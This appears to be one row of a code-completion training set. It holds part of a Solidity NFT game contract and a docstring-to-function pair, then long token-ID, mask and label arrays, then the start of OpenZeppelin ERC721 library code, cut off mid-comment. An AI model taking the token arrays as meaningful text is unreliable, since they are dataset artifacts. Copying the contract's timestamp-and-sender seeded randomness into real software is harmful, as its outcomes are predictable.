function getHeartURI(Data storage self, uint256 heartId) external view returns (string) {
Heart storage heart = self.heartData[heartId];
require(heart.snapshotTimestamp != 0);
uint64 gene = self.butterflyData[heart.butterflyId].gene;
return URIDistribution.getURI(self.uriMappingData.heartURIs, gene);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\game\Main.sol
/**
* @title Main
*
* Main contract for LittleButterflies. Implements the ERC721 EIP for Non-Fungible Tokens.
*/
contract Main is ERC721Token, Ownable {
GameDataLib.Data internal data;
// Set our token name and symbol
constructor() ERC721Token("LittleButterfly", "BFLY") public {
// initialize PRNG values
data.seed.s0 = uint64(now);
data.seed.s1 = uint64(msg.sender);
}
/** Token viewer methods **/
/**
* @dev Gets game information associated with a specific butterfly.
* Requires ID to be a valid butterfly.
*
* @param butterflyId uint256 ID of butterfly being queried
*
* @return gene uint64
* @return createdTimestamp uint64
* @return lastTimestamp uint64
* @return numOwners uint160
*/
function getButterflyInfo(uint256 butterflyId) public view returns (
uint64 gene,
uint64 createdTimestamp,
uint64 lastTimestamp,
uint160 numOwners
) {
(gene, createdTimestamp, lastTimestamp, numOwners) = GameDataLib.getButterflyInfo(data, butterflyId);
}
/**
* @dev Returns the N-th owner associated with a butterfly.
* Requires ID to be a valid butterfly, and owner index to be smaller than the number of owners.
*
* @param butterflyId uint256 ID of butterfly being queried
* @param index uint160 Index of owner being queried
*
* @return address
*/
function getButterflyOwnerByIndex(
uint256 butterflyId,
uint160 index
) external view returns (address) {
return GameDataLib.getButterflyOwnerByIndex(data, butterflyId, index);
}
/**
* @dev Gets game information associated with a specific heart.
* Requires ID to be a valid heart.
*
* @param heartId uint256 ID of heart being queried
*
* @return butterflyId uint256
* @return gene uint64
* @return snapshotTimestamp uint64
* @return numOwners uint160
*/
function getHeartInfo(uint256 heartId) public view returns (
uint256 butterflyId,
uint64 gene,
uint64 snapshotTimestamp,
uint160 numOwners
) {
(butterflyId, gene, snapshotTimestamp, numOwners) = GameDataLib.getHeartInfo(data, heartId);
}
/**
* @dev Returns the N-th owner associated with a heart's snapshot.
* Requires ID to be a valid butterfly, and owner index to be smaller than the number of owners.
*
* @param heartId uint256 ID of heart being queried
* @param index uint160 Index of owner being queried
*
* @return address
*/
function getHeartOwnerByIndex(
uint256 heartId,
uint160 index
) external view returns (address) {
return GameDataLib.getHeartOwnerByIndex(data, heartId, index);
}
/**
* @dev Gets game information associated with a specific flower.
*
* @param flowerAddress address Address of the flower being queried
*
* @return isClaimed bool
* @return gene uint64
* @return gardenTimezone uint64
* @return createdTimestamp uint64
* @return flowerIndex uint160
*/
function getFlowerInfo(
address flowerAddress
) external view returns (
bool isClaimed,
uint64 gene,
uint64 gardenTimezone,
uint64 createdTimestamp,
uint160 flowerIndex
) {
(isClaimed, gene, gardenTimezone, createdTimestamp, flowerIndex) = GameDataLib.getFlowerInfo(data, flowerAddress);
}
/**
* @dev Determines whether the game logic allows a transfer of a butterfly to another address.
* Conditions:
* - The receiver address must have already claimed a butterfly
* - The butterfly's last timestamp is within the last 24 hours
* - The receiver address must have never claimed *this* butterfly
*
* @param butterflyId uint256 ID of butterfly being queried
* @param receiver address Address of potential receiver
*/
function canReceiveButterfly(
uint256 butterflyId,
address receiver
) external view returns (bool) {
return GameDataLib.canReceiveButterfly(data, butterflyId, receiver, uint64(now));
}
/** Override token methods **/
/**
* @dev Override the default ERC721 transferFrom implementation in order to check game conditions and
* generate side effects
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public {
_setupTransferFrom(_from, _to, _tokenId, uint64(now));
ERC721Manager.transferFrom(erc721Data, _from, _to, _tokenId);
}
/**
* @dev Override the default ERC721 safeTransferFrom implementation in order to check game conditions and
* generate side effects
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public {
_setupTransferFrom(_from, _to, _tokenId, uint64(now));
ERC721Manager.safeTransferFrom(erc721Data, _from, _to, _tokenId);
}
/**
* @dev Override the default ERC721 safeTransferFrom implementation in order to check game conditions and
* generate side effects
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
) public {
_setupTransferFrom(_from, _to, _tokenId, uint64(now));
ERC721Manager.safeTransferFrom(erc721Data, _from, _to, _tokenId, _data);
}
/**
* @dev Execute before transfer, preventing token transfer in some circumstances.
* Requirements:
* - Caller is owner, approved, or operator for the token
* - To has claimed a token before
* - Token is a Heart, or Token's last activity was in the last 24 hours
*
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param currentTimestamp uint64
*/
function _setupTransferFrom(
address from,
address to,
uint256 tokenId,
uint64 currentTimestamp
) private {
if (data.tokenToType[tokenId] == GameDataLib.TokenType.Butterfly) {
// try to do transfer and mint a heart
uint256 heartId = GameDataLib.transferButterfly(data, tokenId, from, to, currentTimestamp);
ERC721Manager.mint(erc721Data, from, heartId);
} else {
GameDataLib.transferHeart(data, tokenId, from, to);
}
}
/**
* @dev Overrides the default tokenURI method to lookup from the stored table of URIs -- rather than
* storing a copy of the URI for each instance
*
* @param _tokenId uint256
* @return string
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
if (data.tokenToType[_tokenId] == GameDataLib.TokenType.Heart) {
return GameDataLib.getHeartURI(data, _tokenId);
}
return GameDataLib.getButterflyURI(data, erc721Data, _tokenId, uint64(now));
}
/**
* @dev Returns the URI mapped to a particular account / flower
*
* @param accountAddress address
* @return string
*/
function accountURI(address accountAddress) public view returns (string) {
return GameDataLib.getFlowerURI(data, accountAddress);
}
/**
* @dev Returns the URI mapped to account 0
*
* @return string
*/
function accountZeroURI() public view returns (string) {
return GameDataLib.getWhiteFlowerURI(data);
}
/**
* @dev Returns the URI for a particular butterfly gene -- useful for seeing the butterfly "as it was"
* when it dropped a heart
*
* @param gene uint64
* @param isAlive bool
* @return string
*/
function getButterflyURIFromGene(uint64 gene, bool isAlive) public view returns (string) {
return GameDataLib.getButterflyURIFromGene(data, gene, isAlive);
}
/** Extra token methods **/
/**
* @dev Claims a flower and an initial butterfly for a given address.
* Requires address to have not claimed previously
*
* @param gardenTimezone uint64
*/
function claim(uint64 gardenTimezone) external {
address claimer = msg.sender;
// claim a butterfly
uint256 butterflyId = GameDataLib.claim(data, claimer, gardenTimezone, uint64(now));
// mint its token
ERC721Manager.mint(erc721Data, claimer, butterflyId);
}
/**
* @dev Burns a token. Caller must be owner or approved.
*
* @param _tokenId uint256 ID of token to burn
*/
function burn(uint256 _tokenId) public {
require(ERC721Manager.isApprovedOrOwner(erc721Data, msg.sender, _tokenId));
address _owner = ERC721Manager.ownerOf(erc721Data, _tokenId);
_setupTransferFrom(_owner, address(0x0), _tokenId, uint64(now));
ERC721Manager.burn(erc721Data, _owner, _tokenId);
}
/**
* @dev Returns the total number of tokens for a given type, owned by a specific address
*
* @param tokenType uint8
* @param _owner address
*
* @return uint256
*/
function typedBalanceOf(uint8 tokenType, address _owner) public view returns (uint256) {
return GameDataLib.typedBalanceOf(data, tokenType, _owner);
}
/**
* @dev Returns the total number of tokens for a given type
*
* @param tokenType uint8
*
* @return uint256
*/
function typedTotalSupply(uint8 tokenType) public view returns (uint256) {
return GameDataLib.typedTotalSupply(data, tokenType);
}
/**
* @dev Returns the I-th token of a specific type owned by an index
*
* @param tokenType uint8
* @param _owner address
* @param _index uint256
*
* @return uint256
*/
function typedTokenOfOwnerByIndex(
uint8 tokenType,
address _owner,
uint256 _index
) external view returns (uint256) {
return GameDataLib.typedTokenOfOwnerByIndex(data, tokenType, _owner, _index);
}
/**
* @dev Returns the I-th token of a specific type
*
* @param tokenType uint8
* @param _index uint256
*
* @return uint256
*/
function typedTokenByIndex(
uint8 tokenType,
uint256 _index
) external view returns (uint256) {
return GameDataLib.typedTokenByIndex(data, tokenType, _index);
}
/**
* @dev Gets the total number of claimed flowers
*
* @return uint160
*/
function totalFlowers() external view returns (uint160) {
return GameDataLib.totalFlowers(data);
}
/**
* @dev Gets the address of the N-th flower
*
* @return address
*/
function getFlowerByIndex(uint160 index) external view returns (address) {
return GameDataLib.getFlowerByIndex(data, index);
}
/** Admin setup methods */
/*
* Methods intended for initial contract setup, to be called at deployment.
* Call renounceOwnership() to make the contract have no owner after setup is complete.
*/
/**
* @dev Registers a new flower URI with the corresponding weight
*
* @param weight uint16 Relative weight for the occurrence of this URI
* @param uri string
*/
function addFlowerURI(uint16 weight, string uri) external onlyOwner {
GameDataLib.addFlowerURI(data, weight, uri);
}
/**
* @dev Registers the flower URI for address 0
*
* @param uri string
*/
function setWhiteFlowerURI(string uri) external onlyOwner {
GameDataLib.setWhiteFlowerURI(data, uri);
}
/**
* @dev Registers a new butterfly URI with the corresponding weight
*
* @param weight uint16 Relative weight for the occurrence of this URI
* @param liveUri string
* @param deadUri string
* @param heartUri string
*/
function addButterflyURI(uint16 weight, string liveUri, string deadUri, string heartUri) external onlyOwner {
GameDataLib.addButterflyURI(data, weight, liveUri, deadUri, heartUri);
}
} | * @dev Returns the N-th owner associated with a heart's snapshot. Requires ID to be a valid butterfly, and owner index to be smaller than the number of owners. @param heartId uint256 ID of heart being queried @param index uint160 Index of owner being queried @return address/ | function getHeartOwnerByIndex(
uint256 heartId,
uint160 index
) external view returns (address) {
return GameDataLib.getHeartOwnerByIndex(data, heartId, index);
}
| 7,284,101 | [
1,
1356,
326,
423,
17,
451,
3410,
3627,
598,
279,
3904,
485,
1807,
4439,
18,
16412,
1599,
358,
506,
279,
923,
1496,
387,
29670,
16,
471,
3410,
770,
358,
506,
10648,
2353,
326,
1300,
434,
25937,
18,
225,
3904,
485,
548,
2254,
5034,
1599,
434,
3904,
485,
3832,
23264,
225,
770,
2254,
16874,
3340,
434,
3410,
3832,
23264,
327,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
336,
5256,
485,
5541,
21268,
12,
203,
3639,
2254,
5034,
3904,
485,
548,
16,
203,
3639,
2254,
16874,
770,
203,
565,
262,
3903,
1476,
1135,
261,
2867,
13,
288,
203,
3639,
327,
14121,
751,
5664,
18,
588,
5256,
485,
5541,
21268,
12,
892,
16,
3904,
485,
548,
16,
770,
1769,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-09-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
